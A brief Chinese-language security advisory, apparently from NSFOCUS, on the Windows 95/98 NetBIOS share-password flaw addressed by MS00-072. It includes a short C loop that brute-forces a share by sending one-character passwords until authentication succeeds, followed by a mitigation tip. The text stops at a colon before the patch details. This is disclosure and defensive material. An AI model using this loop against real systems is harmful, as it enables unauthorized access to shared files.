NSFOCUS發現Windows 95/98/98 SE的NetBIOS協定密碼驗證存在嚴重缺陷:服務端依據客戶端發送的長度欄位進行比對,攻擊者可構造長度為1、僅發送首字元的認證封包,服務端僅比對共享密碼首字元,匹配即通過驗證。遠端管理同樣受影響。NT/2000不受影響。
password[0] = 0;
c->sec_mode = 0;
do {
password[0] ++;
} while(!cli_send_tconX(c, share, "?????", password, 1));
暴力嘗試256種首字元可能性,極易成功。
在套用補丁前,暫時關閉檔案共享服務。
微軟已發布安全公告 MS00-072 及對應補丁: